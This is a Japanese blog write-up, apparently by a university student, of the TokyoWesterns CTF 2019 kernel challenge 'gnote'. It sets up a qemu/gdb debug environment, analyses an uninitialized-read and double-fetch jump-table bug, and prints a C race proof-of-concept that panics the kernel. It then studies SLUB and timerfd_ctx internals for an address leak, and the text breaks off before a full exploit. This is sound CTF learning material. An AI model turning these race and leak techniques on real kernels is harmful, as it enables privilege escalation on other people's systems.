newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 10.0】 gnote (kernel exploitation) - TokyoWesternsCTF2019

 

 

 

 

 

 

 

 

 1: イントロ

今年の夏に行われたTokyoWesternsCTF2019

pwn問題 "gnote" を解いていく

kernel exploit問題は初めてということもありかなり手こずった

 

今回はkernel問題を解ける環境を用意することと

脆弱性の存在する該当箇所及びカーネルの関連箇所・関連事項を自分で読んでデバッグして調べることに重きを置いているため

pwn問題を解くことが主な目的ではない

 

基本的には0.参考の【1】つめのサイトをほぼ全面的に参考にし

その中で指摘されている箇所を自分で調べて解釈した結果を覚書として残しておく

 

なお、今回の参考は多くあるため本記事の最後に載せてある

 

 

 

2: 解き始めるまで

問題について

与えられるファイルは

run.sh: qemuを動かすシェルスクリプト

rootfs.cpio: ファイルシステム。flagがあるがroot権限じゃないと見られない

bzImage: カーネルイメージ

gnote.c: カーネルモジュールのソースコード。ビルドされたモジュールはファイルシステムの / に存在し、ファイルシステムのロード時にinitファイルに従ってインストールされる

  1. / # uname -a
  2. Linux (none) 4.19.65 #1 SMP Tue Aug 6 18:56:10 UTC 2019 x86_64 GNU/Linux

 

起動にUEFIではなくBIOSを用いており

初期のファイルシステムとしてrootfs.cpioがメモリ上にロードされる

(但し今回はそのファイルシステムがずっと使われる)

 

ファイルシステムカーネル本体のロード後はinitファイルの内容が実行される

initファイルの内容は以下の通り

 

  1. #!/bin/sh
  2. /bin/mount -t devtmpfs devtmpfs /dev
  3. chown root:tty /dev/console
  4. chown root:tty /dev/ptmx
  5. chown root:tty /dev/tty
  6. mkdir -p /dev/pts
  7. mount -vt devpts -o gid=4,mode=620 none /dev/pts
  8.  
  9. mount -t proc proc /proc
  10. mount -t sysfs sysfs /sys
  11.  
  12. echo 2 > /proc/sys/kernel/kptr_restrict
  13. echo 1 > /proc/sys/kernel/dmesg_restrict
  14. #echo 0 > /proc/sys/kernel/kptr_restrict
  15. #echo 0 > /proc/sys/kernel/dmesg_restrict
  16.  
  17. ifup eth0 > /dev/null 2>/dev/null
  18.  
  19. insmod gnote.ko
  20.  
  21. echo " ________ ________ ________ _________ _______
  22. |\ ____\|\ ___ \|\ __ \|\___ ___\\ ___ \
  23. \ \ \___|\ \ \\ \ \ \ \|\ \|___ \ \_\ \ __/|
  24. \ \ \ __\ \ \\ \ \ \ \\\ \ \ \ \ \ \ \_|/__
  25. \ \ \|\ \ \ \\ \ \ \ \\\ \ \ \ \ \ \ \_|\ \
  26. \ \_______\ \__\\ \__\ \_______\ \ \__\ \ \_______\
  27. \|_______|\|__| \|__|\|_______| \|__| \|_______|
  28. "
  29.  
  30. #sh
  31. setsid cttyhack setuidgid 1000 sh
  32.  
  33. umount /proc
  34. umount /sys
  35.  
  36. poweroff -d 1 -n -f

 

諸々のファイルシステムをマウントした後

dmesgを制限している

お誂え向きにデバッグ用のコンフィグまで下にコメントアウトして書いてある

(最初はこのファイルの存在に気づかず、dmesgを見ようとして試行錯誤しかなり時間を費やした)

それからuid1000でログインするようになっている

 

デバッグ環境について

権限が低い環境でデバッグをするのはしんどいため

まずinitファイル中でdmesgのstrictを外し、uid 0(root)でログインするようにinitを変更した

 

それと同時に一度cpioファイルを以下のコマンドで解凍し

  1. cpio -idv < archive.cpio

ファイルシステム上に/dbgディレクトリを用意してその中でテスト用プログラムなどを置いておけるようにした

(なおコンパイル時は-staticオプションが必須である)

 

それから展開していじったファイルシステムqemuの起動時に再びcpio形式で圧縮してくれるようにrun.shを書き換えた

さらに、qemuの実行時にgdbからの接続を待つように-Sオプションを付与したり

デバッグ時にシンボルを参照できるようにKASLRを無効にしたりした

デバッグ中に使用したrun.shは以下の通り

  1. #run.sh
  2. #!/bin/sh
  3. cd ./rootfs_filesystem #ファイルシステム中に入る
  4. find ./ -print0 | cpio --null -o --format=newc > ./dbgrootfs.cpio #ファイルシステムをcpio形式で圧縮
  5. mv ./dbgrootfs.cpio ../ #正しいディレクトリへ
  6. cd ../
  7. qemu-system-x86_64 -S -kernel ~/linux-stable/arch/x86/boot/bzImage -append "loglevel=3 console=ttyS0 oops=panic panic=1 nokaslr" -initrd dbgrootfs.cpio -m 64M -smp cores=2 -gdb tcp::12350 -nographic -monitor /dev/null -cpu kvm64,+smep #-enable-kvm

 

なお、自前OSの環境整備にかなり時間を費やしてしまったが非本質的なのでこれはAppendixとして本記事の最後に載せてある

 

 

 

3: モジュールの挙動について

モジュール自体は非常に簡素であり

/proc/gnoteエントリを作成し

そこへwrite/readにハンドラが紐付けられている

  1. //gnote.cより一部抜粋
  2. struct note {
  3. unsigned long size;
  4. char *contents;
  5. };
  6. struct note notes[MAX_NOTE];
  7.  
  8. ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
  9. {
  10. unsigned int index;
  11. mutex_lock(&lock);
  12. /*
  13. * 1. add note
  14. * 2. edit note
  15. * 3. delete note
  16. * 4. copy note
  17. * 5. select note
  18. * No implementation :(
  19. */
  20. switch(*(unsigned int *)buf){
  21. case 1:
  22. if(cnt >= MAX_NOTE){
  23. break;
  24. }
  25. notes[cnt].size = *((unsigned int *)buf+1);
  26. if(notes[cnt].size > 0x10000){
  27. break;
  28. }
  29. notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
  30. cnt++;
  31. break;
  32. case 2:
  33. printk("Edit Not implemented\n");
  34. break;
  35. case 3:
  36. printk("Delete Not implemented\n");
  37. break;
  38. case 4:
  39. printk("Copy Not implemented\n");
  40. break;
  41. case 5:
  42. index = *((unsigned int *)buf+1);
  43. if(cnt > index){
  44. selected = index;
  45. }
  46. break;
  47. }
  48. mutex_unlock(&lock);
  49. return count;
  50. }
  51.  
  52. ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
  53. {
  54. mutex_lock(&lock);
  55. if(selected == -1){
  56. mutex_unlock(&lock);
  57. return 0;
  58. }
  59. if(count > notes[selected].size){
  60. count = notes[selected].size;
  61. }
  62. copy_to_user(buf, notes[selected].contents, count);
  63. selected = -1;
  64. mutex_unlock(&lock);
  65. return count;
  66. }

 

試しにecho "\x03\x00\x00\x00" > /proc/gnote とやると反応がなかったが

Cプログラムの中でopenして書き込んでやるとしっかりとdmesgで反応を見ることができた

  1. /dbg # dmesg | tail
  2. IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
  3. input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
  4. random: mktemp: uninitialized urandom read (6 bytes read)
  5. random: mktemp: uninitialized urandom read (6 bytes read)
  6. gnote: loading out-of-tree module taints kernel.
  7. gnote: module license 'unspecified' taints kernel.
  8. Disabling lock debugging due to kernel taint
  9. /proc/gnote created
  10. random: fast init done
  11. Delete Not implemented <-- しっかりwriteハンドラが応答していることがわかる

 

 

writeモジュールは1: add note5: select noteしか実装されていない

add noteは最初の4byteで0x1を指定し、次の4byteでkmallocするサイズを指定する

その後確保した領域への書き込み等は実装されていない

 

select noteは最初の4byteで0x5を指定し、次の4byteで選択するノートのインデックスを指定する

 

readモジュールはユーザバッファに、選択されているノートを返す

この時点で書き込みをされていない領域をreadモジュールで返していることに明らかな違和感を覚える

加えて、本来 copy_from_user() で読まなければならないユーザ空間のバッファをそのまま参照しているのも明らかに怪しい

(なお今回SMEP有効/SMAP無効よりvalidではある)

 

実際、適当なサイズでノートを割り当てて直後にreadを行うと以下のようなバッファが得られる

  1. / # ./dbg/test2
  2. read bytes: 100
  3. str: �����
  4. hex: *0x80*0x4*0x19*0x3*0x80*0x88*0xff*0xff*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x2*0x0*0x3e*0x0*0x1*0x0*0x0*0x0*0x30*0xa*0x40*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x78*0xdc*0xc*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x38*0x0*0x6*0x0*0x40*0x0*0x21*0x0*0x20*0x0*0x7f*0x45*0x4c*0x46*0x2*0x1*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x3*0x0*0x3e*0x0*0x1*0x0*0x0*0x0*0x74*0x20*0x0*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x7c*0xdc*0xf5*0x43*0x13*0xab*0xd3*0x0*0x1a*0x40*0x0*0x0*0x0*0x0*0x0*0xa9*0x12*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0xc8*0xfd*0xa1*0x92*0xff*0x7f*0x0*0x0*0x4d*0xb*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xf*0x0*0x0*0x0*0x6*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x4*0x40*0x0*0x0*0x0*0x0*0x0*0x6d*0x41*0x5*0xd8*0xf*0xb0*0x43*0x6e*0xa0*0x1a*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x18*0x90*0x6b*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x6d*0x41*0x65*0x15*0xcc*0x95*0xbc*0x91*0x6d*0x41*0xb1*0xc8*0xf*0xb0*0x43*0x6e*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x5a*0xa*0x40*0x0*0x0*0x0*0x0*0x0*0xb8*0xfd*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xc0*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xcc*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xd4*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xdb*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xe6*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x21*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x90*0xb1*0x92*0xff*0x7f*0x0*0x0*0x10*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xfd*0xfb*0x8b*0x17*0x0*0x0*0x0*0x0*0x6*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x10*0x0*0x0*0x0*0x0*0x0*0x0*0x11*0x0*0x0*0x0*0x0*0x0*0x0*0x0

 

kmalloc()で確保された初期化されていないバッファを読み込めていることがわかる



4: jmptableの脆弱性について

これから先はほぼ完全に参考【1】に則っている

その中で無知な点をdocumentやkernelを呼んでできる限り詳らかにしていく

 

switch分岐のアセンブラ

gnote_write()におけるswitch分岐のコンパイルコードは以下のようになっている

  1. 00100049 83 3b 05 CMP dword ptr [RBX],0x5
  2. 0010004c 77 50 JA LAB_0010009e
  3. 0010004e 8b 03 MOV EAX,dword ptr [RBX]
  4. 00100050 48 8b 04 c5 MOV RAX,qword ptr [PTR_LAB_00100250 + RAX*0x8]
  5. 00100058 e9 ab 0f 00 JMP __x86_indirect_thunk_rax
  6. -- Flow Override: CALL_RETURN (CALL_TERMINATOR)

 

ここでRBXはユーザバッファから渡された最初の4byte、すなわち選択メニューの番号が入ったバッファのアドレスを指している

最初にこれが5以下かをCMPし

次にその値をもとにPTR_LAB_00100250に存在するjmptableのエントリの示す先にJMPしている

(unsignedとして比較しているため0以下でも問題ない)

 

ここでRBXは2回参照外しされていることに注目する

間には1命令しかないがもしこの間にRBXの値が変更されてしまえば

CMPチェックをすり抜けて異様なアドレスをjmptableと認識しながらJMPしてしまうことになる

かなりタイトな制約ではあるが、別スレッドで無限回この操作を繰り返せばいつかはこの制約を突破できると予測できる

 

以下のサンプルコードで実験してみる

  1. //https://rpis.ec/blog/tokyowesterns-2019-gnote/
  2. #include<unistd.h>
  3. #include<fcntl.h>
  4. #include<pthread.h>
  5. #include<stdio.h>
  6.  
  7. #define FAKE "0x55555555"
  8.  
  9. void* thread_func(void* arg) {
  10. //just repeat xchg $rbx $rax(==0x55555555)
  11. printf("...repeating xchg $rbx $0x55555555\n");
  12. asm volatile("mov $" FAKE ", %%eax\n"
  13. "mov %0, %%rbx\n"
  14. "lbl:\n"
  15. "xchg (%%rbx), %%eax\n"
  16. "jmp lbl\n"
  17. :
  18. : "r" (arg)
  19. : "rax", "rbx"
  20. );
  21. return 0;
  22. }
  23.  
  24. int main(void) {
  25. int fd = open("/proc/gnote", O_RDWR);
  26. if(fd<=0){
  27. printf("open error\n");
  28. return 1;
  29. }
  30. unsigned int buf[2] = {0, 0x10001};
  31.  
  32. pthread_t thr;
  33. pthread_create(&thr, 0, thread_func, &buf[0]);
  34.  
  35. for(int ix=0;ix!=100000;++ix){
  36. printf("try :%d\n",ix);
  37. write(fd, buf, sizeof(buf));
  38. }
  39.  
  40. return 0;
  41. }

 

これは一方でgnote_write()を呼び出し続け

もう一方のスレッドでRBXの値を0x55555555に変更し続ける

もし2者のタイミングが一致すれば

CMP前までは0が渡されてjmptableのエントリ選択まで進み

その後値が0x55555555に変えられて

jmptable + 0x55555555 * 0x8にJMPすることになるはずである



実際にテストしてみると下のように7600回目程のswitchでパニックが発生している

 

  1. (..snipped..)
  2. try :7609
  3. try :7610
  4. try :7611
  5. BUG: unable to handle kernel paging request at 000000026aaabb40
  6. PGD 8000000002427067 P4D 8000000002427067 PUD 0
  7. Oops: 0000 [#1] SMP PTI
  8. CPU: 3 PID: 93 Comm: test1 Tainted: P O 4.19.65 #1
  9. Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
  10. RIP: 0010:gnote_write+0x20/0xd0 [gnote]
  11. Code: Bad RIP value.
  12. RSP: 0018:ffffc9000026bda0 EFLAGS: 00000293
  13. RAX: 0000000055555555 RBX: 00007ffe999129d0 RCX: ffffc9000026bea0
  14. RDX: ffff888003105c40 RSI: 00007ffe999129d0 RDI: ffffffffc0002100
  15. RBP: ffffc9000026bdb0 R08: 0000000000000001 R09: 0000000000000008
  16. R10: ffff8880031c0e38 R11: 0000000000000000 R12: 0000000000000008
  17. R13: ffffc9000026bea0 R14: 00007ffe999129d0 R15: 0000000000000000
  18. FS: 00000000006df880(0000) GS:ffff888003580000(0000) knlGS:0000000000000000
  19. CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  20. CR2: ffffffffbffffff6 CR3: 0000000002434000 CR4: 00000000001006e0
  21. Call Trace:
  22. proc_reg_write+0x39/0x60
  23. __vfs_write+0x26/0x150
  24. vfs_write+0xad/0x180
  25. ksys_write+0x48/0xc0
  26. __x64_sys_write+0x15/0x20
  27. do_syscall_64+0x57/0x270
  28. ? schedule+0x27/0x80
  29. ? exit_to_usermode_loop+0x79/0xa0
  30. entry_SYSCALL_64_after_hwframe+0x44/0xa9
  31. RIP: 0033:0x405187
  32. Code: 44 00 00 41 54 55 49 89 d4 53 48 89 f5 89 fb 48 83 ec 10 e8 8b fd ff ff 4c 89 e2 41 89 c0 48 89 ee 89 df b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 35 44 89 c7 48 89 44 24 08 e8 c4 fd ff ff 48
  33. RSP: 002b:00007ffe99912990 EFLAGS: 00000293 ORIG_RAX: 0000000000000001
  34. RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 0000000000405187
  35. RDX: 0000000000000008 RSI: 00007ffe999129d0 RDI: 0000000000000003
  36. RBP: 00007ffe999129d0 R08: 0000000000000000 R09: 000000000000000a
  37. R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000000008
  38. R13: 0000000000000000 R14: 00000000006d6018 R15: 0000000000000000
  39. Modules linked in: gnote(PO)
  40. CR2: 000000026aaabb40
  41. ---[ end trace c756a9fd80773a41 ]---
  42. RIP: 0010:gnote_write+0x20/0xd0 [gnote]
  43. Code: Bad RIP value.
  44. RSP: 0018:ffffc9000026bda0 EFLAGS: 00000293
  45. RAX: 0000000055555555 RBX: 00007ffe999129d0 RCX: ffffc9000026bea0
  46. RDX: ffff888003105c40 RSI: 00007ffe999129d0 RDI: ffffffffc0002100
  47. RBP: ffffc9000026bdb0 R08: 0000000000000001 R09: 0000000000000008
  48. R10: ffff8880031c0e38 R11: 0000000000000000 R12: 0000000000000008
  49. R13: ffffc9000026bea0 R14: 00007ffe999129d0 R15: 0000000000000000
  50. FS: 00000000006df880(0000) GS:ffff888003580000(0000) knlGS:0000000000000000
  51. CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  52. CR2: ffffffffbffffff6 CR3: 0000000002434000 CR4: 00000000001006e0
  53. Kernel panic - not syncing: Fatal exception
  54. Kernel Offset: disabled
  55. Rebooting in 1 seconds..




おおよその展望

jmptableの脆弱性によりほぼ任意の場所にJMPできるようになると考えられる

それから初期化されていないメモリ上に仮にkernelのとあるアドレスを指し示すポインタが入っていた場合、その値を読むことでkernel addressをリークすることができる

もしこの両者が可能ならば、kernel内の任意の(特定の、指定した)アドレスにJMPできるようになる

 

そのためにはまずkernelのメモリ割り当てについて理解する必要がある

ということで以下ではkmalloc()とslub allocatorについて解釈していく





5:kmalloc()とスラブアロケータについて

スラブアロケータ概略

Linuxではメモリ割り当ての際にバディシステムを採用している

これはメモリをページ単位で割当てるというものであるが

これでは少量のメモリ要求に対してかなりのオーバーヘッドが発生してしまい非常にメモリ効率が悪くなってしまう

 

そこで採用されているのがスラブアロケータである

これにはSLAB/SLUB/SLOBという系統があるが

SLAB: SunOSで実装された初期のアロケータ

SLUB: 現在主に使用されているアロケータ

SLOB: 組み込み向け等で使用されているアロケータ

といった用途になっている

以下では専らSLUBについて扱うことにする

 

SLUBは同じサイズのオブジェクトはある決まった領域に置く、究極のbestfit方式である(といった認識である)

kernelレベルでは同じ構造体を多数回割当しては解放するためこの手法だとフラグメンテーションが起こりにくい

詳しいことは参考の【3】に書いてある

 

スラブで主に登場する構造体はkmem_cache_cpu/kmem_cache_node/kmem_cacheであり、それぞれ省略してc/n/sと呼ぶ

大雑把にはsがc/nのポインタをメンバとして保持し、c/sはそれぞれスラブのリストを保持している

cは現在のCPUに紐付けられた空き領域のあるスラブを保持し、sは他のNUMAノードのメモリに保持されたスラブを保持している

 

以下で実際にコードを眺めてみよう

 

kmalloc()

  1. // /include/linux/slab.h
  2. static __always_inline void *kmalloc(size_t size, gfp_t flags)
  3. {
  4. if (__builtin_constant_p(size)) {
  5. #ifndef CONFIG_SLOB
  6. unsigned int index;
  7. #endif
  8. if (size > KMALLOC_MAX_CACHE_SIZE)
  9. return kmalloc_large(size, flags);
  10. #ifndef CONFIG_SLOB
  11. index = kmalloc_index(size);
  12.  
  13. if (!index)
  14. return ZERO_SIZE_PTR;
  15.  
  16. return kmem_cache_alloc_trace(
  17. kmalloc_caches[kmalloc_type(flags)][index],
  18. flags, size);
  19. #endif
  20. }
  21. return __kmalloc(size, flags);
  22. }

 

今回はSLUBではないためサイズがKMALLOC_MAX_CACHE_SIZE未満であればkmem_cache_alloc_trace()を呼んで返る

その際に引数として渡されるkmalloc_cachesはkmem_cache*型の二重配列で、フラグごとサイズごとのスラブキャッシュを示している

今はkmalloc_index(size)によって得たインデックスによって使用するキャッシュを指定している




kmem_cache_alloc_trace()

  1. // /mm/slub.c
  2. void *kmem_cache_alloc_trace(struct kmem_cache *s, gfp_t gfpflags, size_t size)
  3. {
  4. void *ret = slab_alloc(s, gfpflags, _RET_IP_);
  5. trace_kmalloc(_RET_IP_, ret, size, s->size, gfpflags);
  6. ret = kasan_kmalloc(s, ret, size, gfpflags);
  7. return ret;
  8. }

 

内部では上の3つの関数が呼ばれている

以下その3つを順に見ていく





slab_alloc()/ slab_alloc_node()

内部で第3引数にNUMA_NO_NODEを指定してそのままslab_alloc_node()を呼ぶ

  1. // /mm/slub.c excerpt
  2. static __always_inline void *slab_alloc_node(struct kmem_cache *s,
  3. gfp_t gfpflags, int node, unsigned long addr)
  4. {
  5. void *object;
  6. struct kmem_cache_cpu *c;
  7. struct page *page;
  8. unsigned long tid;
  9.  
  10. s = slab_pre_alloc_hook(s, gfpflags);
  11. if (!s)
  12. return NULL;
  13. redo:
  14. // cmpxchgが同一のCPUで行われることの確認
  15. do {
  16. tid = this_cpu_read(s->cpu_slab->tid);
  17. c = raw_cpu_ptr(s->cpu_slab);
  18. } while (IS_ENABLED(CONFIG_PREEMPT) &&
  19. unlikely(tid != READ_ONCE(c->tid)));
  20.  
  21. barrier();
  22.  
  23. /*
  24. * The transaction ids are globally unique per cpu and per operation on
  25. * a per cpu queue. Thus they can be guarantee that the cmpxchg_double
  26. * occurs on the right processor and that there was no operation on the
  27. * linked list in between.
  28. */
  29.  
  30. object = c->freelist;
  31. page = c->page;
  32. if (unlikely(!object || !node_match(page, node))) {
  33. //スラブが空である
  34. object = __slab_alloc(s, gfpflags, node, addr, c);
  35. stat(s, ALLOC_SLOWPATH);
  36. } else {
  37. //スラブからスラブオブジェクトを取ってこれる
  38. void *next_object = get_freepointer_safe(s, object);
  39.  
  40. /*
  41. * The cmpxchg will only match if there was no additional
  42. * operation and if we are on the right processor.
  43. *
  44. * The cmpxchg does the following atomically (without lock
  45. * semantics!)
  46. * 1. Relocate first pointer to the current per cpu area.
  47. * 2. Verify that tid and freelist have not been changed
  48. * 3. If they were not changed replace tid and freelist
  49. *
  50. * Since this is without lock semantics the protection is only
  51. * against code executing on this cpu *not* from access by
  52. * other cpus.
  53. */
  54. if (unlikely(!this_cpu_cmpxchg_double(
  55. s->cpu_slab->freelist, s->cpu_slab->tid,
  56. object, tid,
  57. next_object, next_tid(tid)))) {
  58.  
  59. note_cmpxchg_failure("slab_alloc", s, tid);
  60. goto redo;
  61. }
  62. prefetch_freepointer(s, next_object);
  63. stat(s, ALLOC_FASTPATH);
  64. }
  65. /*
  66. * If the object has been wiped upon free, make sure it's fully
  67. * initialized by zeroing out freelist pointer.
  68. */
  69. if (unlikely(slab_want_init_on_free(s)) && object)
  70. memset(object + s->offset, 0, sizeof(void *));
  71.  
  72. if (unlikely(slab_want_init_on_alloc(gfpflags, s)) && object)
  73. memset(object, 0, s->object_size);
  74.  
  75. slab_post_alloc_hook(s, gfpflags, 1, &object);
  76.  
  77. return object;
  78. }

 

freelistに有効な空き領域が繋がっている場合にはthis_cpu_cmpxchg_doubleマクロを使っている

this_cpu_cmpxchg_doubleは__pcpu_double_call_return_bool macroとdefineされている

これによってfreelistとtidを新しいものにつなぎ替える

(この辺マクロが複雑でよくわからなかった)

次のprefetch_freepointer()では予め次のfreelistに繋がれるスラブオブジェクトの更に次のオブジェクトを名前の通りprefetchしている

 

最後にslab_post_alloc_hook()が呼ばれているがこれは以下のようになっている

  1. static inline void slab_post_alloc_hook(struct kmem_cache *s, gfp_t flags,
  2. size_t size, void **p)
  3. {
  4. size_t i;
  5.  
  6. flags &= gfp_allowed_mask;
  7. for (i = 0; i < size; i++) {
  8. void *object = p[i];
  9.  
  10. kmemleak_alloc_recursive(object, s->object_size, 1,
  11. s->flags, flags);
  12. kasan_slab_alloc(s, object, flags);
  13. }
  14.  
  15. if (memcg_kmem_enabled())
  16. memcg_kmem_put_cache(s);
  17. }

 

HOGEあとで書くHOGE

 

まぁ今のところは特定のスラブが用意されているものはそこにオブジェクトが確保され

そうでないものは汎用スラブにオブジェクトが確保されると認識しておけば良い

以下ではこれらのメモリ確保のざっくりした前提を踏まえて、実際に初期化されていないメモリからのleakを目指す

 





6: timerfd_ctxを利用したkernel symbol の leak

前述したように初期化されていないメモリに対してgnote_read()を呼ぶことそこに入っていた値をleakすることができる

では対象としてどの構造体をターゲットにするかだが、"任意のタイミングで生成・解放すること"ができ、且つ"kernel内のシンボルのアドレスを含む"ような構造体であれば何でも良い

【1】ではこれらを満たす構造体としてtimerfd_ctx構造体を利用している

よって以下ではtimerfd_ctx構造体についてカーネルを読んでいく

 

__x64_sys_timerfd_createシステムコール

timerfd_ctxは以下のmake_timerfdシステムコール内で割り当てられる

  1. SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags)
  2. {
  3. int ufd;
  4. struct timerfd_ctx *ctx;
  5.  
  6. ctx = kzalloc(sizeof(*ctx), GFP_KERNEL);
  7. if (!ctx)
  8. return -ENOMEM;
  9.  
  10. init_waitqueue_head(&ctx->wqh);
  11. spin_lock_init(&ctx->cancel_lock);
  12. ctx->clockid = clockid;
  13.  
  14. if (isalarm(ctx))
  15. alarm_init(&ctx->t.alarm,
  16. ctx->clockid == CLOCK_REALTIME_ALARM ?
  17. ALARM_REALTIME : ALARM_BOOTTIME,
  18. timerfd_alarmproc);
  19. else
  20. hrtimer_init(&ctx->t.tmr, clockid, HRTIMER_MODE_ABS);
  21.  
  22. ctx->moffs = ktime_mono_to_real(0);
  23.  
  24. ufd = anon_inode_getfd("[timerfd]", &timerfd_fops, ctx,
  25. O_RDWR | (flags & TFD_SHARED_FCNTL_FLAGS));
  26. if (ufd < 0)
  27. kfree(ctx);
  28.  
  29. return ufd;
  30. }

 

 

(但しエラーチェック等は省略してある)

 

 

この中でtimerfd_ctxは以下のように定義される構造体であり、タイマの残り時間やIDやexpire時のハンドラ等を保持する

  1. struct timerfd_ctx {
  2. union {
  3. struct hrtimer tmr;
  4. struct alarm alarm;
  5. } t;
  6. ktime_t tintv;
  7. ktime_t moffs;
  8. wait_queue_head_t wqh;
  9. u64 ticks;
  10. int clockid;
  11. short unsigned expired;
  12. short unsigned settime_flags; /* to show in fdinfo */
  13. struct rcu_head rcu;
  14. struct list_head clist;
  15. spinlock_t cancel_lock;
  16. bool might_cancel;
  17. };




ソースコード中では6行目でkzalloc()によってこの構造体が確保されている

(kzalloc()は領域を0クリアするフラグをつけてkmalloc()を呼ぶラッパ)

 

しかし実際にカーネルデバッグしてみると以下のようになっている

  1. => 0xffffffff81101dcd <__x64_sys_timerfd_create+93>: call 0xffffffff810d0e60 <kmem_cache_alloc>
  2. Guessed arguments:
  3. arg[0]: 0xffff888000090700 --> 0x1eac0
  4. arg[1]: 0x6080c0
  5.  
  6.  
  7. => 0xffffffff81101dc1 <__x64_sys_timerfd_create+81>:
  8. mov rdi,QWORD PTR [rip+0x542b58] # 0xffffffff81644920 <kmalloc_caches+64>

 

kernelのビルド時に最適化でkmem_cache_alloc()直接呼び出すように変更されている

速度的にはそっちのほうがいいんだろうが、デバッグする側としてはマクロと最適化でインラインが多発しているのはかなりめんどくさい

 

 

引数がどんな意味を持つかを以下のコードと照らし合わせる

  1. //mm/slub.h
  2. void *kmem_cache_alloc(struct kmem_cache *s, gfp_t gfpflags)
  3. {
  4. void *ret = slab_alloc(s, gfpflags, _RET_IP_);
  5.  
  6. trace_kmem_cache_alloc(_RET_IP_, ret, s->object_size,
  7. s->size, gfpflags);
  8.  
  9. return ret;
  10. }

 

cachep==0xffff888000090700, flags==0x6080c0と呼ばれていることがわかる

(cachepのアドレスはすぐあとで使う)

 

backtrace情報を頼りにしながら読み進めていくと、以下の部分に遭遇する

  1. 0xffffffff810d0f18 <kmem_cache_alloc+184>: xor esi,esi
  2. => 0xffffffff810d0f1a <kmem_cache_alloc+186>: call 0xffffffff8119c6c0
